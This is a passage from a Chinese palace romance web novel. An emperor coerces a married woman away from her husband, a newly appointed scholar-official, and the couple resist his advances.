“臣与夫人是青梅竹马,自幼相识,早有婚约,自然知根知底。” 顾时的拳头上爆起了青筋,脸色也不大好看,他心想,幸好自己戴着帷帽,他看不见他的表情。 没想到陶金荣说的未婚夫竟然是真的。 他强压着情绪说道: “您中了榜眼,京中恐怕有很多达官贵人愿意榜下捉婿,没动过这方面的心思么。” 他有些纠结地挠了挠头,说道: “臣……胸无大志……来参加会试全是家中夫人的意思,还请陛下不要介怀。” “恐怕家中管得很严吧,真是苦了你了,有没有想过多纳上两个妾室?” “没想过……臣作为男子也应该本分些,对家庭忠诚。” 顾时看着秦思昭,帷帽下的脸已经变得有些狰狞。 的确,他能看上的女子,别人自然也能看上,毕竟她确实貌美非凡。 更何况秦思昭和陶金荣自幼相识,又新婚燕尔,恐怕少不了夜夜温存。 情到浓时,恐怕也顾不上这位新婚妻子是不是完璧之身了。 他嘴角微微勾起,说道: “秦编修,五年前,我在京中听说过陶金荣这个名字,恐怕你还是要回去多问上一问吧。” “臣的妻子一直以来都对臣坦诚相待,臣家贫,能求学也是托家中妻子的福,自然没有对妻子鸡蛋里挑骨头的道理。” 怎么?他什么意思?难道他一直以来都知道陶金荣的过去? 顾时把手搭在下巴上,细细思量着。 的确,他拿了陶金荣的银子进京赶考,自然就没有再挑她刺的道理了。 不仅害得他魂牵梦绕,还早早绑定了有才之士,这个陶金荣可真是手段了得。 “臣出身低微,恐难以融入翰林院,还请陛下将臣调回家乡做官,到时候臣的妻子也能和臣一起享福。” 从宴席上的刁难和私下的试探之中,秦思昭沉默不语,心中竟已经将来龙去脉猜了个七七八八。 即便是隔着帷帽,秦思昭也感受到了一道威胁感十足的目光。 他顺势跪了下来,端端正正地磕了个头,说道: “臣的妻子是孤女,出身地位,更是大字不识几个,无依无靠一介弱女子罢了,如有得罪,还请陛下不要同她计较,陛下若是觉得她碍眼,我带着她远走高飞就是了。” “……” 眼见自己那见不得人的心思被三言两语全部拆穿,顾时帷帽下的脸色阴沉得可怕。 “你就非要当她的郎君不可么?” “夫妻二人,海誓山盟,臣不敢背信弃义。陛下一向贤德圣明,想必一定能体恤下臣。” “和她和离,我赐你加官进爵。” “臣胸无大志,只想得一心人,白首不离。” “不知好歹!” 秦思昭跪在地上,微微抬起眼皮,看他的眼神变得阴恻恻的,像是在盘算着什么似的。 “你一介草民,怎能忤逆天威?” 顾时的眼中尽是晦暗不明之意,怒极反笑: “走着瞧!” 第106章 陶金荣终于等到了秦思昭来找她,她明显有些吓着了,汗打湿了的头发黏在了脸颊上,脂粉也融了,唇上的胭脂也缺了一块,她伸出舌头舔了舔自己的唇,挽着他的手,低着头一言不发。 “荣儿,先回家吧。” 他掏出干净的手帕来,给她擦了擦汗。 回家后,她洗漱干净,便躺在床上,似睡非睡地窝在他的臂弯之间,他发现了她肩膀缩成一团,情绪有些不对,又不好贸然开口问她是怎么回事。 他只拍了拍她的肩膀,趴在她耳畔说: “只要你一日愿意做我的妻子,我就一日愿意做你的夫君,睡吧。” 话音刚落,他就听见了臂弯里传来她平稳的呼吸声。 秦思昭一怔,原来她已经枕着他的胳膊睡着了。 次日,秦思昭去了翰林院。 状元可以被破格提拔当官,可榜眼就只能在翰林院做些起草诏令一类的文书工作,好在他学问扎实,细心记性好,也能踏踏实实地跟着上官一起把工作完成。 十五天过去,分给他的工作总是越来越多…… 秦思昭看着一沓噙满了墨水的宣纸冷笑。 望之不似人君的东西,下贱极了。 陶金荣昨夜身心疲惫,便睡到日上三竿,却被一个陌生的声音叫醒了。 “姑娘……请您出来一下……” 那是个陌生的女声。 她还迷迷糊糊,什么都没想,便匆匆穿上外衣,披散着头发出去了。 可刚打开门,便被吓了一跳。 顾时就光明正大地坐在椅子上,自顾自地倒了杯茶水,就如同在自己家一般悠哉自在。 他照样穿着一袭银白色的衣裳,每一样配饰都精致得体,就连眉毛也认真打理过,他唇上的伤已经好了,只留下一个模糊不清的印子。 她皱着眉头,挠了挠乱蓬蓬的头发,啧了一声,扭头便回去梳洗。 “你每日都要睡到这个钟头么?” “不管你事。” 她直接呛了回去。 用一根银簪简单把头发挽了起来,又洗了把脸,用茶漱口,陶金荣才不情不愿地出去了。 “找我做什么?” 顾时把一个黄花梨木的妆奁打开,光是这个妆奁,就又描了金漆,又嵌了象牙,更别提里面的首饰了。 “上次是我不对,给你赔罪。” “我不要你的东西,只要你别再纠缠我就行。” 明明那首饰琳琅,她却看都不愿意看一眼,只把眼睛撇到一边,脸上写满了不耐烦和不屑。 “……” 顾时原本想说的话一下被堵在了嗓子眼里,没想到她竟然拒绝得这么干脆,甚至连看都不看一眼。 她不仅不看他送的礼物,甚至连他都不看,他的眉头不禁微微蹙了起来,若是她不看,今天的眉岂不是白修了,衣服也白站在镜子前面比划了半天,腰上佩的玉佩也是无用功。 他的声音柔了下来: “我没有别的意思,送你礼物纯粹是给你赔罪,这里面的首饰大概值你丈夫两年的俸禄,还请你收下吧。” 陶金荣扭过头来,冲着顾时的脸就怒声斥道: “装什么装,真当我看不出你打的什么主意?” 她又变了脸色,颇为不耐烦地又把脸撇到了一边: “还请这位大人赶快打道回府吧。” 她内心不禁犯嘀咕,这人怎么如此冒犯,直接二话不说就进了她家,如此有恃无恐,真当自己是皇上么? 陶金荣悄悄抬起眼皮,打量了他一番,长得倒算是好看。 可就算长得好看,也不能就惦记别人的妻子吧? 莫非他是个花花公子?仗着皮囊好,就整日里游街串巷地勾引有夫之妇? “……” 顾时轻抿嘴唇,看她的眼神里带上了几分幽怨,被他这么一看,她反倒脸红了起来。 她也不知道自己在脸红些什么,反倒有些恼羞成怒,咬着下唇,手指不停绞着衣袖。 “参见陛下。” 不知何时,秦思昭已经进来,跪在了地上,端端正正地对着顾时行了个礼。 他睫毛垂着,一双桃花眼泛红,眼下一片乌青,眼白里爬满了红线,面色有些憔悴,很明显是熬了好几个大夜。 “什么?” 陶金荣低促地尖叫了一声,面色瞬间变得惨白,跌跌撞撞地从椅子上站起来,扑通一声跟着跪在了地上。 顾时依旧坐在椅子上,有些烦躁地看着秦思昭。 他还想多跟陶金荣玩上一会儿,怎么这么快就被他给揭穿了。 真是无趣。 既然如此,他也懒得继续和陶金荣玩三辞三让了。 不如直接抢吧。 “陛下,臣的妻子是一介草民,不懂礼数,还请陛下不要介怀。” “不懂礼数就让她跟宫里的姑姑们好好学一学吧。” 他给金盏递了个眼色,她便心领意会,走上前去说: “姑娘,请吧。” 金盏不愿意参合这种事,却也没法推给别人,只好做出一副皮笑肉不笑的样子,把她从地上扶起来。 “你别拉扯我!” 陶金荣忽然脾气上来了,猛地挣扎了一下,直接把金盏甩开。 两行泪忽然落了下来,她握紧了拳头,用手背擦了擦,嘴里不干不净地就要往外蹦下专攻三路的脏字,金盏赶紧捂住她的嘴,又被狠狠咬了一口。 金盏气急败坏道: “姑娘!你就算不在乎自己的命,也得在乎一下秦大人的命吧!” 此话一出,陶金荣瞬间就跟霜打的茄子一般,蔫了下来,怯怯地低下了头。 她这个一哭二闹三上吊的架势看得顾时心情烦躁,他走上前去,掏出自己的手帕给她擦了擦脸。 她一动不动,只任由他把手放在她的脸上。 之前他碰她一下,她要么是破口打骂,要么是耳光伺候。 可这次她却如同失了魂一般,像个顺从的瓷娃娃一般任由他碰着她的脸颊。 想到她的这种顺从全是为了保全秦思昭,顾时就更别扭了。 她五年前上赶着同他亲热,竟然是为了拿他的银子送秦思昭进京赶考。 事到如今,她也愿意为了保全秦思昭任由他来轻薄。 她为了他,愿意付出的也太多了些。 顾时的心里越想越觉得别扭。 他清了清嗓子,说道: “秦编修,你放心,我会派人盯着她,不让她寻死的,不过是她先前用难听的乡野土话冒犯了我,我请她去跟姑姑学一学女子的礼仪罢了,等她学成,我还会把她送回来的。我便破格提拔你为吏部主事吧。” 他看着他挺直的脊梁,冷笑道: “我见她言谈举止十分粗俗,对我多有冒犯,这样的妻子您要来何用?不如递给她一纸休书吧,不管您在京中看上了哪位女子,我都可以做主给您赐婚。” 秦思昭只跪在地上冷冷道: “君无戏言,望陛下见可欲则思知足。” 顾时深吸一口气,克制住快速把秦思昭杀掉的冲动,只用眼神示意金盏带陶金荣回去。 秦思昭用恨他入骨的眼神死死盯着他,他又充满挑衅和嘲笑地看了回去。 顾时俯下身,小声道: “秦思昭,告诉你一件事吧。五年前,可是你的妻子主动勾引我的,滋味确实不错,也怪不得我能记到现在。” 第107章 带着陶金荣回到宫中,顾时忽然不知道该如何同她开口。 她七魂失了六魄似的,面色苍白,一言不发地看着地板,一旁的头发垂了下来,软趴趴地搭在她的脸颊边上。 看着她单薄的肩膀微微颤抖着,一种罪恶感从顾时的心底油然而生,他不喜欢自己变成一个欺男霸女的恶棍。 而且他也没有那种强人所难的癖好。 他别别扭扭地开口说道: “先带她去学些礼节吧,吃穿用度也别亏了。” 陶金荣原本已经心如死灰,可一个月过后,她开始怀疑他真的是抓自己来学礼节的。 早上姑姑教她行为举止,下午夫子教她读书认字,也无人为难她,作息规律得不得了,她觉得自己都变得健康了许多。 其实她还是认得两个字的,只是学问不通,有夫子一教,她也变得有学问了些,身段上也稍微有了些闺秀的样子。 也对,虽然她对他的身份并不知情,但毕竟是用下三路的脏话骂了顾时,还扇了他一个耳光,他不杀了她就不错了,只是抓她来念书上课,倒也算不上什么过分之事。 而且这里也不差,上课不收钱,还包吃包住呢,姑姑的态度也算和蔼,她心里倒也没什么怨气。 只是秦思昭在家里肯定很担心她吧…… 如今她稍微有了点学问,自认可以称得上是知书达理,便想写一封稍微斯文一点的家书给他。 她提笔便写,写了改,改了又写,不管怎么看都觉得不甚满意,索性把那泛黄的宣纸揉成一团,黑色的墨迹在手心里晕开。 写来写去还是大白话…… 陶金荣叹了口气。 就算写得文采斐然,这封家书也送不到他的手里。 她怨恨地看着窗外,一行大雁从穹顶划过,顾时不会是把她给忘了吧? 她还指望他折腾够了就放她回家呢。 七日后,顾时似乎是终于把她想起来了似的,召她来验收成果。 她没了咋咋呼呼的样子,规规矩矩地问好行礼,说得全是吉祥话,声音也变了,细声细气地哼了几句。 陶金荣欠了欠身子,长舒了一口气,肩膀也放松了下来。 她已经学会走路一摇三晃,说话装蚊子哼哼了,这下他总该满意了吧。 顾时勾了勾嘴角说道: “我来考你对对子,我出上句,你答下句,若是答上来了就能回家,答不上就再学一学吧。” 陶金荣瞠目结舌,赶紧捂住双唇,几乎要维持不住那勉强建立起的“知书达理”的表象。 她真怕一不小心自己又蹦了脏字出来。 还对对子呢……这顾时当她要考状元么? “怎么?觉得我为难了你?你丈夫是榜眼,你却连一副对子都作不出来……学问相差这么大,如何能交流呢?时间久了,色衰爱弛,他会厌弃你的。” “陛下,妾身……学艺不精,恐怕难以让您满意。” “那就再多学一学。” 听到这句话,她额头冷汗直流,腿肚子抖如筛糠。 “陛……陛下……请……出题吧……” “上联,月移花影动。” “下联……下联……” 陶金荣在心里围绕着下三路大骂顾时,又亲切地问候了他的八辈祖宗。 她拼命咬着下唇,生怕自己一不小心又把真心话秃噜了出来。 “日……日……日……” 日与月倒是对仗,只可惜她想说的是日你祖宗。 “日隐草光眠?” 她把脑子里乱七八糟的脏字巧妙地编织进了下联,没忍住露出了一个得意洋洋的笑容。 “这对子也太过生硬了些,再说韵脚也对得牵强。” 顾时皱着眉头说道; 她不服气地抬眼看着顾时,哼,望之不似人君的东西,一天到晚就是闲待着,要么就吃喝玩乐,肯定是绣花枕头一个,哪来的学问? 好吧,她的学问都是临时学来的,她倒是信他比她强,但他的学问肯定比不上秦思昭。 “过来坐。” 他伸出一只骨节分明的手,示意她坐到他身边来。 “陛下,这恐怕不合礼数呢。” 陶金荣装模作样地摇头晃脑了起来。 “姑姑教过,出嫁女要尽量避免见外男,若是不得不见,一定要谨言慎行。” 顾时又用那幽怨的眼神看着她: “快点过来。” 她只得磨磨蹭蹭,一步三摇地走过去,坐在了顾时的旁边。 他用毛笔沾了沾墨水,把她刚才对的对子写在了宣纸上。 “一联内上下句的平仄要相反,上半句是仄平平仄仄,下半句就应该是平仄仄平平。” 陶金荣听得两眼昏花,神游天外,她只觉得自己的身边热腾腾的,顾时坐得好近,又没有真的碰到她。 她只好不留痕迹地往一旁躲了躲。 他把手摊开,毛笔就平放在掌心上,说: “你来重新写一句。” 她双眼直勾勾盯着他摊开的手掌,那毛笔把他白皙的手心划成两半,她几乎不敢伸手。 陶金荣哆哆嗦嗦地伸出了两根手指,夹住了那根毛笔,她的手不停地打着摆子,染过凤仙的指甲偶尔划过他的掌心,一阵酥麻难耐。 他不经意地看向自己的掌心,又无意中瞥见她袖管下露出的一截精巧玲珑的手腕,忽然觉得双颊一热。 她已经把那毛笔别扭地握在了手里,跟宣纸大眼瞪小眼。 认字已经是勉强,叫她提笔写字便太露怯了。 笔尖在宣纸上晕开了一个小黑点,陶金荣的鼻尖上冒起了汗珠,脸上的脂粉有些融了,唇上的胭脂也变得有些斑驳。 顾时盯着她唇上斑驳的胭脂看了半晌,说道: “你若是写不上来,就亲我一下。” 说完这句话,顾时的耳朵根便微微红了起来。 “哎?” 陶金荣一愣,毛笔从指缝里滑了下去,扭过头来,怔怔地盯着他。 “只要你听我的,我就让你回家两天。” 他闭上了眼睛,陶金荣默默地掏出手帕来,擦了擦唇上的胭脂。 她把大拇指和手掌并合在一起,假装成自己的双唇,碰了碰顾时的脸。 “……” 顾时睁开了眼睛,有些怀疑地看着她。 “陛下……妾身该回家了……” 她柔顺地低下了头,露出一截白皙修长的脖颈,嗓音清润,又细又甜,尾音拖长了些,那嗓音简直像是带着钩子,一下一下地勾着他。 顾时看着她,怨念满满地咬着下唇。 她是当他是个傻子么? 第108章 “陶金荣,你忽悠我。” 陶金荣的脸色先是白了白,又红了一红,咬着唇,眼神躲躲闪闪。 好吧,她被识破了。 她见他幽怨委屈地看着她,心中一阵气愤,忍不住咬了咬后牙,一个强抢民女的狗东西,他还好意思委屈呢? 呸!哪来的脸! 她肯用手碰他的脸,已经是给他的恩典了! 在心里又问候了顾时的八辈祖宗一遍,陶金荣深吸了一口气。 他若是委屈,那她比他更冤,她大可以和他比着委屈。 陶金荣低下头去,眼里泪光点点,秀眉微蹙,弱柳扶风地靠在一旁的扶手上,拿起手帕就要拭泪。 其实她不过是惺惺作态,心中没半点悲切之意。 她只想掏出一根鞭子把顾时好生抽上一顿,再用这根鞭子勒住他的脖子,把他活活勒死。 “罢了,我不与你计较,回家去吧。” 陶金荣把手帕一丢,瞬间喜笑颜开,脸上直接开出了一大朵花,又猛然想起了什么似的,压住了翘起的嘴角,端端正正地跪下谢恩。 顾时的心里莫名其妙地觉得别扭,能回家就那么高兴么? 看着她脸上的笑容,他无奈地叹了口气,可能他们的夫妻感情真的很好吧。 相互扶持那么多年,岂是他一个局外人能比得上的…… 他嘲讽地笑了笑,自己也真是贱得慌,非要喜欢上一个有夫之妇做什么,还是让她回家算了。 她下巴微侧,抬起一只眼睛,悄悄瞄了他一眼。 这个顾时真是雷声大雨点小,搞得气势汹汹,倒也没把她怎么样…… 也许他没有她想得那么坏? 想到这里,她的目光就顺着顾时的膝盖一路往上爬,大着胆子把他看了一遍。 他换了一种样式的衣裳,淡青色的宽袍大袖,靛色腰带一勒,把腰身轻描淡写地勾勒了出来。 她忽然觉得很自信,就算是皇上,也没什么了不起的,她肯定能应付得来他。 他肩膀挺宽,便显得腰细了些,微微颔首,显得脖子很修长,她盯着他的喉结看了一阵,眼神里便不自觉地,隐隐约约带上了一种挑衅和支配欲。 顾时和陶金荣的眼神猛地碰撞在了一起,反倒是顾时被吓了一跳,赶紧把视线移开了。 他猛地给自己灌了一口茶,又呛到了,咳嗽几声说道: “你回家吧。” 有了他这句话,陶金荣直接收拾包袱,欢天喜地地打道回府。 她开开心心地猛地抱了一下秦思昭,手直接勾住了他的脖子。 秦思昭直接揽着她的腰把她抱了起来,有些鲁莽地吻了她的唇。 “阿昭,别担心我,我没事。他真的是抓我去上课了,我现在学问都长了很多,会背文章了呢。” 陶金荣感到秦思昭猛地放松了下来。 “荣儿,我只是太担心你了。” 她絮絮叨叨地说道: “我长了点学问,便想给你写一封斯文一点的家书,可是写来写去还都是大白话,恼得不行,全都揉烂了烧了。” “夫子倒是对我也算和蔼,姑姑也好说话,教了我好多礼仪,可是我一回家,一看到你,就又全忘光了,回头我嘴里再蹦脏字出来,你可不要怪我吧。” 她把脸埋在他的脖子里,咯咯地笑了起来,*声音变得瓮声瓮气的。 秦思昭没说话,只把她抱得更紧了些。 到了晚上,陶金荣把衣衫尽褪,躺在他的身侧,不知为何又盯着秦思昭的脖子看了又看。 “阿昭,我可以掐你的脖子么?” 秦思昭被猛地吓了一跳,倒吸一口凉气,可她的手已经覆了上来,又翻身骑在了他身上。 “不行,荣儿,把手松开!” 见他十分抗拒,陶金荣也只得把手松开,亲了亲他的侧脸,柔声道歉: “阿昭,我不掐就是了,你不要恼了我。” 秦思昭翻了个身,拽着她的手腕子,贴在她的耳畔上说: “刚才那个样子也太别扭了吧……” “不可以吗?” 她看着他压在她的身上,红了耳根,嘴唇嚅动几次,不知该如何开口。 秦思昭咬了咬她的锁骨,说道: “我觉得还是这样的好。” 她发现秦思昭在某方面有点轻微的控制欲,他不喜欢她太过主动,总是喜欢自己掌控一切。 她倒也没觉得这样有什么不好,从容地配合着他,只是她到底还是有些太过亢奋。 奇怪的小插曲应该已经过去了,她和秦思昭的日常生活还是照旧。 一连半个月过去,倒也无人来叨扰她的生活,她也彻底放松了下来,像一只猫似的躺在藤椅上晒傍晚柔和的太阳。 她忽然想起顾时矜贵高傲中流露出一丝脆弱的样子,一种挑衅欲油然而生。 她对着天空伸出了一只手,想象着自己单手掐住顾时的脖子。 他的喉结是不是能正好卡在她的虎口里呢? 他穿的衣服那么白净,她真想泼墨水上去,他受侮辱的表情一定很有意思。 “荣儿……” “阿昭,你回来啦?” 她回过神来,看着秦思昭,笑盈盈的。 “给你买了卤猪耳。” 他把一个纸袋子放在了桌子上,陶金荣便从藤椅上弹起来去吃东西。 秦思昭知道她爱吃什么,她也知道秦思昭爱吃什么。 他们二人对了个眼神,便相视一笑。 这种心意相通的感觉非常好。 当秦思昭的妻子是一件很幸福的事,她觉得自己很爱他,并且永远不会改变。 吃着吃着,陶金荣就把顾时的事抛到脑后了。 可顾时却没办法把陶金荣抛到脑后。 这几日的夜晚,顾时难以入睡。 他觉得自己浑身上下都被一根针刺了个遍,那针一会儿重,一会儿轻,一会儿粗,一会儿又细。 他被折磨得辗转反侧,夜不能寐,坐也不是,站也不是,甚至连转移一下注意力都做不到。 在床上翻了几个来回,顾时恍然大悟,他终于发现了那细针来源于何处。 陶金荣眼神里的挑衅之意就像密密麻麻的针,时不时地要冒出来刺他一下。 这痛感往下走,又转化成了一种和痛苦截然不同的欲念。 他把手伸入了衣襟下方,这是他唯一能做到的纾解方式。 床头烛火晃了晃,他睁开眼,迷恋地看着那烛泪。 那么热,那么烫。 如果滴到皮肤上会是什么感觉? 他内心清楚地知道自己不该再和有夫之妇有什么牵扯,可是他现在就是发了疯似的想见她。 她现在一定和自己的正头相公浓情蜜意吧,可他却要独守空房,孤枕难眠。 一丝怨恨从他的心底爬了出来。 她无非就是长得漂亮了些而已,若是她一味地低眉顺眼,轻声细气,也不过就只是哪里都有的庸脂俗粉,他也不会再对她有什么兴趣,可为什么她非要用那种眼神看他? 他管不了了。 明天……不,现在,他现在就想去见她。 大半夜跑到秦思昭府上,只为了见他的妻子,顾时是痛快了,可金盏大半夜被守夜的宫女叫起来安排这种不伦不类的荒唐事,便很有怨气了。 金盏强颜欢笑,在心里问候了一遍顾时的八辈祖宗。 那叫陶金荣的姑娘可真是可怜,明明已经早早嫁了人,还摊上这样的荒唐事。 她是个二十八岁的女子,已经算不上非常年轻,这样的身份也方便些出入别人的后宅,既不会惊动女眷,也不会污了哪个男子的清白。 再说男人有什么用?净添乱,她这辈子都不结婚,不生孩子。 一进去,她便愁眉苦脸地同秦思昭说道: “哎,我也实在不愿安排此事,可是陛下就想见……陶姑娘一面……我也只是个传话的,天家贵胄,我哪能劝得动呢……” 她的为难不是假的。 顾时怕丢脸,就让她来同秦思昭打交道,这样丢脸的就是她,不是顾时了。 有胆子偷,没脸面认,她心里十分鄙视这样没种的作风。 忽然,秦思昭的背后响起了一个声音。 “什么?顾时说想见我一面?” 金盏的脸色变了变,直呼其名,实在是好失礼。 陶金荣揉了揉眼睛,只穿着中衣,披头散发地从屋里走了出来,打了个哈欠。 “见就见,我怕他做什么?没种的东西。” 金盏的肩膀狂抖,捂嘴憋笑,她怎么就这么痛快地讲出来了? 她转身回去,洗了脸,换了衣裳,又把头发梳好,亲了秦思昭的侧脸一下示意他不要担心,拿着一盏灯,昂首挺胸地走了出去。 她似乎是没想把自己往漂亮里打扮,穿了件靛青色老气横秋的衣裳,可这样老气的衣裳反倒把她显出了几分威仪来,尖锐的眼角,淡淡的眉毛,只微微行了个礼,站起来平视着顾时,把他从头到脚地打量个遍。 她轻轻开口道: “陛下深夜前来,所欲为何?” 他的头发大致挽好了,可还是有些松松垮垮,她不知是不是故意为之。 他穿着一身浅紫色的衣裳,简直不知造价几何,镶了银边的领口有些宽,把锁骨完完整整地露了出来。 顾时看着她手中的烛火,怔怔地出了神。 他的喉结上下动了动,一步一步地向她靠近。 第109章 陶金荣一言不发,手捏紧了烛台,忽然猛地伸出手去,手腕一斜,烛火瞬间熄灭,烛泪顺着顾时的领子流淌进了他的锁骨和前心。 一阵剧烈的炽热痛感从他领口内脆弱敏感的皮肤上传来,顾时猛地打了个哆嗦,又产生了一种莫名其妙的快意。 “……” 他马上转过身去,即使现在已经入夜,黑得伸手不见五指,他也害怕陶金荣看见他惊讶中带着迷恋的表情。 顾时抚着胸口,冷静了片刻,才转过身去说道: “帮我弄干净。” 他直接坐在了一旁的椅子上,略微松开了领口。 “蜡烛灭了,我得去再把这蜡烛点上才行,不然什么也看不见。” 黑夜会放大人的欲|望,会让人卸下白天的种种限制,暴露出本性里最不加节制的一面。 陶金荣的胆子被黑夜不断放大了,走上前去,借着窗外泄进来的月光,上上下下地打量着他,目光像蚂蚁一样在他的脖颈上不断爬着。 他脖子的侧面是一长道蜡烛的红痕,一路蜿蜒进松散的领口里,像一条妖艳的细蛇。 “不用,蜡烛已经干了,能摸出来的。” 他伸手抓住她的手腕,轻轻地把她往自己的方向一拽。 陶金荣觉得自己被突然拉了一下,他的脖颈在她眼前被猛地放大。 她没忍住,直接把手放在了他的脖子上,他的喉结就卡在她的虎口里,猛地掐了一下,他的喉咙里忽然发出了一种短促惊讶的声音,就像一只受惊的水鸟。 她试探性地踢了他的小腿胫骨一脚,他只闷哼了一声,没说任何话。 红色的烛泪就附着在他的脖子上,她把手指放在上面,上下划动着,凹凸不平的触感从她的指尖传来。 她指甲微微用力,便把那一整条的烛泪从他的皮肤上揭了下来。 他伸手把衣领微微解开了一点,那烛泪分了叉,像一株倒着的红珊瑚一般长在他的胸口上。 她伸手,快准狠地把那些烛泪都清理掉,撕拉的痛感和酥麻感让顾时有些神志不清。 陶金荣低头,露出了一个有些厌弃的表情。 她对他又掐又踹,可并没有对他做什么与男女情欲相关的事,他为什么这么轻而易举地就起反应了? 顾时察觉到了她的反感,尴尬地把一旁的枕头放在了腿上,试图把那势头压下去。 “掩耳盗铃。” 她毫不客气地把这四个字丢在了地上,丝毫没掩饰语气中的嫌恶。 被她揭穿内心的罪恶,顾时瞬间觉得无地自容,一下子涨红了脸,自知这次相会本就无理,再也没脸面对她提什么要求,匆匆走了。 她回到房里,伸手抱住了秦思昭,把整个身子都塞进了他怀里,浅笑道: “没什么事,我三言两语就把他打发走了。” 她眨了眨眼,而且她不过只见了他一炷香的功夫,这点时间,恐怕连水都烧不热,更别提干点什么了。 秦思昭把手放在了她的后背上,闻到了她身上一丝若隐若现的香气,那香气一开始是檀香的味道,随后又分出好几种层次来,堪称奢华。 他知道陶金荣平日里是不喜熏香的,身上只有干净的皂角味道,怎会有如此名贵的香气呢…… 他的眼神瞬间暗了下来,又带上了几分嘲讽。 看来动作挺快…… “无妨,荣儿,我知道不是你的错,你便全告诉我吧,不然你一直憋在心里也不好过。我不想你受了欺负还反倒要顾忌我的感受。” 陶金荣看着他眨了眨眼。 “那你可别说出去。” “嗯。” “大半夜的跑过来,肯定没憋好屁!我把热烫烫的蜡烛……倒进他领子里了,还踢了他一脚。” 陶金荣越说越觉得兴奋,像是炫耀自己的战绩一般,说到兴处便指手画脚。 秦思昭瞬间瞪圆了眼,倒吸一口冷气。 “荣儿,他毕竟位高权重,你胆子也太大了些。” “我感觉他……好像没生气?只是让我把他脖子上的蜡烛揭下来?” 说实话她觉得他还挺乐在其中的呢…… 秦思昭沉默了半晌,说道: “荣儿,我知道你心中不悦,可毕竟性命最重要,什么都不能和你的命相比啊,万一你惹恼了他,他要取你性命怎么办呢?” “你放心,我心里有数。” 他看了看陶金荣,她面色如常,神态自若,隐隐约约带着一种自信轻松的神态。 “罢了,天色已经晚了,还是先睡吧。” 陶金荣把外衣一脱,睡得挺香,秦思昭却夜不能寐。 损伤圣体可不是小事,万一顾时算起了后账可如何是好…… 他担忧地看着陶金荣,她身体上确实没有什么伤痕,可他却难以放下心来。 秦思昭翻了个身,把陶金荣抱在了怀里,一行泪从眼角流了下来。 他爱她,可是如果和他继续在一起会害了她的命,那他也只能主动离开她。 他的喉咙里忍不住发出了哽咽声。 也许他只有主动和她和离对她来说才最安全,可他又知道那肯定会让她伤心欲绝,到时候她一冲动,指不定又会做出什么傻事来。 两杯毒酒摆在秦思昭的面前,让他难以抉择。 到底要如何是好。 次日,陶金荣醒来,发现秦思昭的眼下一片乌黑,眼睛也肿了起来,便一眼看出他情绪不对来。 她亲了亲他的眼睛,关切地问道: “阿昭,你怎么了?看着这般的没精神呢?” 看着她关切又微微带着笑意的眼睛,这和离二字,秦思昭无论如何都说不出口,心中又是一阵酸楚。 若是他二话不说便要和离,陶金荣肯定会觉得他是厌弃她了。 他不希望那样。 “我真的没事的,不要担心我啦。” 她把头枕在他的胸口上。 他只轻轻应了一声,内心全是自责和酸楚。 若她真的出了什么事,那全要怪他没能保护好她。 秦思昭去上朝时,特意看了看顾时的脖子。 顾时面色如常,不过却穿了一件高领的衣服,把脖子严严实实地遮住了。 莫非他真的在陶金荣那里吃了瘪? 第110章 陶金荣的脾气他是知道的,有时候会有点急躁,吃不得亏,稍微有点争强好胜……能干出把蜡烛泼进顾时领子里的事他一点也不觉得奇怪。 这样的脾气在坊间倒没什么,可若是和达官贵人相处还这个样子,肯定是会得罪人的。 更别提她碰上的还是天家贵胄。 就算她一时知道服软装乖,装得了一时,也装不了一辈子…… 即使他为了她的安全,主动提出和离,顾时厌倦了也迟早会把她打发到冷宫里。 若是她发了脾气,把顾时惹怒,很可能会被直接活活打死。 秦思昭的额头上出了一层冷汗,因哭了一夜而肿胀的眼皮几乎抬不起来,像抽搐了一般眨了几下,越想越替她担忧,若是他什么都不做,岂不是坐以待毙。 如果可以的话,他真想带着她马上逃跑,可又怕贸然行动反而激怒了顾时。 真是左右为难。 只要陶金荣一天还是有夫之妇,顾时就一天不占理,就算她对顾时有许多无礼的举动,那也是天家贵胄借着权势强占民女,民女性子刚烈奋而反抗罢了。 他刚登基不久,明面上清清白白,若是闹出人命来,消息走漏出去,他自己面子上最不好看。 可若是他和她和离,陶金荣光明正大的进宫,顾时便有了理由对她随便打杀,无人能置喙了。 想来想去,秦思昭发现自己不能和她和离,这样陶金荣才会更安全一些。 下朝后,秦思昭满怀心事地去了翰林院,回家后,却被家丁告知,陶金荣已经被一个不到三十的宫女叫走了。 他瞬间心头一凉,扯了扯嘴角,露出一个勉强的笑容,匆匆回到了房内。 屋子里空落落的,她换下来的中衣就大大咧咧地摆在床上,满处都是她生活过的痕迹。 忽然,一阵极其别扭的情绪席卷了他的心头,他不知道自己为什么会变成这个样子,他和她一起长大,他从来没想过有朝一日会不得不和她分开,他发现自己根本就适应不了没有陶金荣的人生。 如果她真的回不来了,他应该怎么办? 他抱着她的中衣,直挺挺地躺在了床上,眼泪落了下来,视线因泪水而变得模糊,他隐隐约约看见桌子上摆着一封信。 他站起身,踉跄着走到桌前,才发现那根本称不上是一封信,充其量只能算是一张纸条。 陶金荣的书法似乎有了长进,不再像小孩子一样写得七扭八歪,上面规规矩矩地写着几个字: “不要担心” 秦思昭觉得心头酸楚,又有些恼怒,她连一个一定会回来的承诺都不愿给他……可转念一想,她又能承诺什么呢?他不也没法承诺一定能把她救回来吗…… 陶金荣坐在一张椅子上,侧面摆了张挺高的茶几,她倒是没心没肺极了,该吃吃,该喝喝,脸上丝毫看不出恐慌的样子来。 金盏下午的时候把她叫进来,没一会儿的功夫,她便把一小盘的瓜子全嗑光了,瓜子皮吐了一茶几。 她咬了口点心,皱了皱眉,太甜了,谁愿意吃这么甜的东西? 她又拿起白瓷勺子,尝了一小口酒酿酥酪,瞬间面露难色。 味道简直……难以评价…… 陶金荣小声嘀咕道: “有钱人的品味可真难说啊……” 陶金荣尚且不知道自己和顾时只有一墙之隔,他就站在门的另一侧。 顾时对着镜子,拨开衣领,仔细看着自己脖子和胸口处被灼伤的红痕。 这些痕迹在他的皮肤上交错着,会随着布料的摩擦而感到疼痛,稍微碰一碰都会产生一阵刺痛。 弄伤他的罪魁祸首就在门的另一边,可他却不知该拿她怎么办好。 耻感让顾时的脸颊涨红了些,他咬着自己的下唇。 她竟然说他是掩耳盗铃……真的好过分。 即便理智上他知道自己此生头一回受到了如此的侮辱,但情感上他却完全产生不了相应的愤怒,反倒还隐隐约约有一种期待和怪异的满足。 他似乎做不到去罚她,也不能奖励她。 他心里只知道一件事,他想再见到她。 仔细检查了自己的容貌,眉心没有杂毛,头发也梳得整齐,淡青色的衣裳也很得体,他便打开门走了出去。 唉,怎么一出去就看见了一桌子的瓜子皮…… 